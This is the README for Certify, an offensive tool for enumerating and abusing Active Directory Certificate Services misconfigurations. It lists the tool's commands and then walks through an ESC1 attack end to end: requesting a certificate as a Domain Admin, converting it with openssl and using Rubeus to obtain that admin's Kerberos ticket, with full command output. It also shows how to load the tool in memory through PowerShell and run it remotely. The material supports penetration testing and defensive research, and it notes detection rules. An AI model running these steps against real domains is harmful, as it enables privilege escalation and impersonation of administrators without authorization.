Certify is a C# tool to enumerate and abuse misconfigurations in Active Directory Certificate Services (AD CS).
@harmj0y and @tifkin_ are the primary authors of Certify and the the associated AD CS research (blog and whitepaper).
C:\Tools>Certify.exe
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.0.0
Find information about all registered CAs:
Certify.exe cas [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/hideAdmins] [/showAllPermissions] [/skipWebServiceChecks] [/quiet]
Find all enabled certificate templates:
Certify.exe find [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet]
Find vulnerable/abusable certificate templates using default low-privileged groups:
Certify.exe find /vulnerable [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet]
Find vulnerable/abusable certificate templates using all groups the current user context is a part of:
Certify.exe find /vulnerable /currentuser [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet]
Find enabled certificate templates where ENROLLEE_SUPPLIES_SUBJECT is enabled:
Certify.exe find /enrolleeSuppliesSubject [/ca:SERVER\ca-name| /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet]
Find enabled certificate templates capable of client authentication:
Certify.exe find /clientauth [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet]
Find all enabled certificate templates, display all of their permissions, and don't display the banner message:
Certify.exe find /showAllPermissions /quiet [/ca:COMPUTER\CA_NAME | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local]
Find all enabled certificate templates and output to a json file:
Certify.exe find /json /outfile:C:\Temp\out.json [/ca:COMPUTER\CA_NAME | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local]
Enumerate access control information for PKI objects:
Certify.exe pkiobjects [/domain:domain.local] [/showAdmins] [/quiet]
Request a new certificate using the current user context:
Certify.exe request /ca:SERVER\ca-name [/subject:X] [/template:Y] [/install]
Request a new certificate using the current machine context:
Certify.exe request /ca:SERVER\ca-name /machine [/subject:X] [/template:Y] [/install]
Request a new certificate using the current user context but for an alternate name (if supported):
Certify.exe request /ca:SERVER\ca-name /template:Y /altname:USER
Request a new certificate using the current user context but for an alternate name and SID (if supported):
Certify.exe request /ca:SERVER\ca-name /template:Y /altname:USER /sid:S-1-5-21-2697957641-2271029196-387917394-2136
Request a new certificate using the current user context but for an alternate name and URL (if supported):
Certify.exe request /ca:SERVER\ca-name /template:Y /altname:USER /url:tag:microsoft.com,2022-09-14:sid:S-1-5-21-2697957641-2271029196-387917394-2136
Request a new certificate on behalf of another user, using an enrollment agent certificate:
Certify.exe request /ca:SERVER\ca-name /template:Y /onbehalfof:DOMAIN\USER /enrollcert:C:\Temp\enroll.pfx [/enrollcertpw:CERT_PASSWORD]
Download an already requested certificate:
Certify.exe download /ca:SERVER\ca-name /id:X [/install] [/machine]
Certify completed in 00:00:00.0200190
Certificates can be transformed to .pfx's usable with Certify with:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Certificates can be used with Rubeus to request a TGT with:
Rubeus.exe asktgt /user:X /certificate:C:\Temp\cert.pfx /password:<CERT_PASSWORD>
First, use Certify.exe to see if there are any vulnerable templates:
C:\Temp>Certify.exe find /vulnerable
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.0.0
[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=theshire,DC=local'
[*] Restricting to CA name : dc.theshire.local\theshire-DC-CA
[*] Listing info about the Enterprise CA 'theshire-DC-CA'
Enterprise CA Name : theshire-DC-CA
DNS Hostname : dc.theshire.local
FullName : dc.theshire.local\theshire-DC-CA
Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName : CN=theshire-DC-CA, DC=theshire, DC=local
Cert Thumbprint : 187D81530E1ADBB6B8B9B961EAADC1F597E6D6A2
Cert Serial : 14BFC25F2B6EEDA94404D5A5B0F33E21
Cert Start Date : 1/4/2021 10:48:02 AM
Cert End Date : 1/4/2026 10:58:02 AM
Cert Chain : CN=theshire-DC-CA,DC=theshire,DC=local
UserSpecifiedSAN : Disabled
CA Permissions :
Owner: BUILTIN\Administrators S-1-5-32-544
Access Rights Principal
Allow ManageCA, ManageCertificates BUILTIN\Administrators S-1-5-32-544
Allow ManageCA, ManageCertificates THESHIRE\Domain Admins S-1-5-21-937929760-3187473010-80948926-512
Allow ManageCA, Read, Enroll THESHIRE\Domain Users S-1-5-21-937929760-3187473010-80948926-513
[!] Low-privileged principal has ManageCA rights!
Allow Enroll THESHIRE\Domain Computers S-1-5-21-937929760-3187473010-80948926-515
Allow ManageCA, ManageCertificates THESHIRE\Enterprise Admins S-1-5-21-937929760-3187473010-80948926-519
Allow ManageCertificates, Enroll THESHIRE\certmanager S-1-5-21-937929760-3187473010-80948926-1605
Allow ManageCA, Enroll THESHIRE\certadmin S-1-5-21-937929760-3187473010-80948926-1606
Enrollment Agent Restrictions :
Everyone S-1-1-0
Template : <All>
Targets :
Everyone S-1-1-0
Everyone S-1-1-0
Template : User
Targets :
Everyone S-1-1-0
Vulnerable Certificates Templates :
CA Name : dc.theshire.local\theshire-DC-CA
Template Name : User2
Validity Period : 2 years
Renewal Period : 6 weeks
msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_REQUIRE_DIRECTORY_PATH
mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PEND_ALL_REQUESTS, PUBLISH_TO_DS, AUTO_ENROLLMENT
Authorized Signatures Required : 0
pkiextendedkeyusage : Client Authentication, Smart Card Logon
Permissions
Enrollment Permissions
Enrollment Rights : THESHIRE\Domain Admins S-1-5-21-937929760-3187473010-80948926-512
THESHIRE\Enterprise Admins S-1-5-21-937929760-3187473010-80948926-519
All Extended Rights : THESHIRE\Domain Users S-1-5-21-937929760-3187473010-80948926-513
Object Control Permissions
Owner : THESHIRE\localadmin S-1-5-21-937929760-3187473010-80948926-1000
Full Control Principals : THESHIRE\Domain Users S-1-5-21-937929760-3187473010-80948926-513
WriteOwner Principals : NT AUTHORITY\Authenticated UsersS-1-5-11
THESHIRE\Domain Admins S-1-5-21-937929760-3187473010-80948926-512
THESHIRE\Domain Users S-1-5-21-937929760-3187473010-80948926-513
THESHIRE\Enterprise Admins S-1-5-21-937929760-3187473010-80948926-519
WriteDacl Principals : NT AUTHORITY\Authenticated UsersS-1-5-11
THESHIRE\Domain Admins S-1-5-21-937929760-3187473010-80948926-512
THESHIRE\Domain Users S-1-5-21-937929760-3187473010-80948926-513
THESHIRE\Enterprise Admins S-1-5-21-937929760-3187473010-80948926-519
WriteProperty Principals : NT AUTHORITY\Authenticated UsersS-1-5-11
THESHIRE\Domain Admins S-1-5-21-937929760-3187473010-80948926-512
THESHIRE\Domain Users S-1-5-21-937929760-3187473010-80948926-513
THESHIRE\Enterprise Admins S-1-5-21-937929760-3187473010-80948926-519
CA Name : dc.theshire.local\theshire-DC-CA
Template Name : VulnTemplate
Validity Period : 3 years
Renewal Period : 6 weeks
msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT
mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
Authorized Signatures Required : 0
pkiextendedkeyusage : Client Authentication, Encrypting File System, Secure Email
Permissions
Enrollment Permissions
Enrollment Rights : THESHIRE\Domain Admins S-1-5-21-937929760-3187473010-80948926-512
THESHIRE\Domain Users S-1-5-21-937929760-3187473010-80948926-513
THESHIRE\Enterprise Admins S-1-5-21-937929760-3187473010-80948926-519
Object Control Permissions
Owner : THESHIRE\localadmin S-1-5-21-937929760-3187473010-80948926-1000
WriteOwner Principals : THESHIRE\Domain Admins S-1-5-21-937929760-3187473010-80948926-512
THESHIRE\Enterprise Admins S-1-5-21-937929760-3187473010-80948926-519
THESHIRE\localadmin S-1-5-21-937929760-3187473010-80948926-1000
WriteDacl Principals : THESHIRE\Domain Admins S-1-5-21-937929760-3187473010-80948926-512
THESHIRE\Enterprise Admins S-1-5-21-937929760-3187473010-80948926-519
THESHIRE\localadmin S-1-5-21-937929760-3187473010-80948926-1000
WriteProperty Principals : THESHIRE\Domain Admins S-1-5-21-937929760-3187473010-80948926-512
THESHIRE\Enterprise Admins S-1-5-21-937929760-3187473010-80948926-519
THESHIRE\localadmin S-1-5-21-937929760-3187473010-80948926-1000
Certify completed in 00:00:00.6548319
Given the above results, we have the three following issues:
THESHIRE\Domain Usershave ManageCA permissions over thedc.theshire.local\theshire-DC-CACA (ESC7)- This means that the EDITF_ATTRIBUTESUBJECTALTNAME2 flag can be flipped on the CA by anyone.
THESHIRE\Domain Usershave full control over the User2 template (ESC4)- This means that anyone can flip the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag on this template and remove the PEND_ALL_REQUESTS issuance requirement.
THESHIRE\Domain Userscan enroll in the VulnTemplate template, which can be used for client authentication and has ENROLLEE_SUPPLIES_SUBJECT set (ESC1)- This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA).
We'll show the abuse of scenario 3.
Next, let's request a new certificate for this template/CA, specifying a DA localadmin as the alternate principal:
C:\Temp>Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:VulnTemplate /altname:localadmin
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.0.0
[*] Action: Request a Certificates
[*] Current user context : THESHIRE\harmj0y
[*] No subject name specified, using current context as subject.
[*] Template : VulnTemplate
[*] Subject : CN=harmj0y, OU=TestOU, DC=theshire, DC=local
[*] AltName : localadmin
[*] Certificate Authority : dc.theshire.local\theshire-DC-CA
[*] CA Response : The certificate had been issued.
[*] Request ID : 337
[*] cert.pem :
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAn8bKuwCYj8...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIGITCCBQmgAwIBAgITVQAAAV...
-----END CERTIFICATE-----
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Certify completed in 00:00:04.2127911
Copy the -----BEGIN RSA PRIVATE KEY----- ... -----END CERTIFICATE----- section to a file on Linux/macOS, and run the openssl command to convert it to a .pfx. When prompted, don't enter a password:
(base) laptop:~ harmj0y$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Enter Export Password:
Verifying - Enter Export Password:
(base) laptop:~ harmj0y$
Finally, move the cert.pfx to your target machine filesystem (manually or through Cobalt Strike), and request a TGT for the altname user using Rubeus:
C:\Temp>Rubeus.exe asktgt /user:localadmin /certificate:C:\Temp\cert.pfx
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.6.1
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=harmj0y, OU=TestOU, DC=theshire, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'theshire.local\localadmin'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFujCCBbagAwIBBaEDAgEWooIExzCC...(snip)...
ServiceName : krbtgt/theshire.local
ServiceRealm : THESHIRE.LOCAL
UserName : localadmin
UserRealm : THESHIRE.LOCAL
StartTime : 2/22/2021 2:06:51 PM
EndTime : 2/22/2021 3:06:51 PM
RenewTill : 3/1/2021 2:06:51 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : Etb5WPFWeMbsZr2+FQQQMw==
Certify was released at Black Hat 2021 with our "Certified Pre-Owned: Abusing Active Directory Certificate Services" talk.
The TypeRefHash of the current Certify codebase is f9dbbfe2527e1164319350c0b0900c58be57a46c53ffef31699ed116a765995a.
The TypeLib GUID of Certify is 64524ca5-e4d0-41b3-acc3-3bdbefd40c97. This is reflected in the Yara rules currently in this repo.
See our whitepaper for prevention and detection guidance.
We are not planning on releasing binaries for Certify, so you will have to compile yourself :)
Certify has been built against .NET 4.0 and is compatible with Visual Studio 2019 Community Edition. Simply open up the project .sln, choose "Release", and build.
If you want to run Certify in-memory through a PowerShell wrapper, first compile the Certify and base64-encode the resulting assembly:
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Certify.exe")) | Out-File -Encoding ASCII C:\Temp\Certify.txt
Certify can then be loaded in a PowerShell script with the following (where "aa..." is replaced with the base64-encoded Certify assembly string):
$CertifyAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))
The Main() method and any arguments can then be invoked as follows:
[Certify.Program]::Main("find /vulnerable".Split())
Due to the way PSRemoting handles output, we need to redirect stdout to a string and return that instead. Luckily, Certify has a function to help with that.
If you follow the instructions in Sidenote: Running Certify Through PowerShell to create a Certify.ps1, append something like the following to the script:
[Certify.Program]::MainString("find /vulnerable")
You should then be able to run Certify over PSRemoting with something like the following:
$s = New-PSSession dc.theshire.local
Invoke-Command -Session $s -FilePath C:\Temp\Certify.ps1
Alternatively, Certify's /outfile:C:\FILE.txt argument will redirect all output streams to the specified file.
On the subject of public disclosure, we self-embargoed the release of our offensive tooling (Certify as well as ForgeCert) for ~45 days after we published our whitepaper in order to give organizations a chance to get a grip on the issues surrounding Active Directory Certificate Services. We also preemptively released some Yara rules/IOCs for both projects and released the defensive-focused PSPKIAudit PowerShell project along with the whitepaper. However, we have found that organizations and vendors have historically often not fixed issues or built detections for "theoretical" attacks until someone proves something is possible with a proof of concept.
Certify used a few resources found online as reference and inspiration:
- This post on requesting certificates from C#.
- This gist for SAN specification.
- This StackOverflow post on exporting private keys.
- This PKISolutions post on converting pkiExpirationPeriod.
- This section of MS-CSRA describing enrollment agent security DACLs.
The AD CS work was built on work from a number of others. The whitepaper has a complete treatment, but to summarize:
- Benjamin Delpy for his extensive work on smart cards/certificates with Mimikatz and Kekeo.
- PKI Solutions for their excellent posts on PKI in Active Directory, as well as their PSPKI PowerShell module, which our auditing toolkit is based on.
- The "Windows Server 2008 – PKI and Certificate Security" book by Brian Komar.
- The following open technical specifications provided by Microsoft:
- [MS-CERSOD]: Certificate Services Protocols Overview
- [MS-CRTD]: Certificate Templates Structure
- [MS-CSRA]: Certificate Services Remote Administration Protocol
- [MS-ICPR]: ICertPassage Remote Protocol
- [MS-WCCE]: Windows Client Certificate Enrollment Protocol
- Christoph Falta's GitHub repo which covers some details on attacking certificate templates, including virtual smart cards as well as some ideas on ACL based abuses.
- CQURE's "The tale of Enhanced Key (mis)Usage" post which covers some Subject Alternative Name abuses.
- Keyfactor's 2016 post "Hidden Dangers: Certificate Subject Alternative Names (SANs)"
- @Elkement's posts "Sizzle @ hackthebox – Unintended: Getting a Logon Smartcard for the Domain Admin!" and "Impersonating a Windows Enterprise Admin with a Certificate: Kerberos PKINIT from Linux" detail certificate template misconfigurations.
- Carl Sörqvist wrote up a detailed, and plausible, scenario for how some of these misconfigurations happen titled "Supply in the Request Shenanigans".
- Ceri Coburn released an excellent post in 2020 on "Attacking Smart Card Based Active Directory Networks" detailing some smart card abuse and Certify additions.
- Brad Hill published a whitepaper titled "Weaknesses and Best Practices of Public Key Kerberos with Smart Cards" which provided some good background on Kerberos/PKINIT from a security perspective.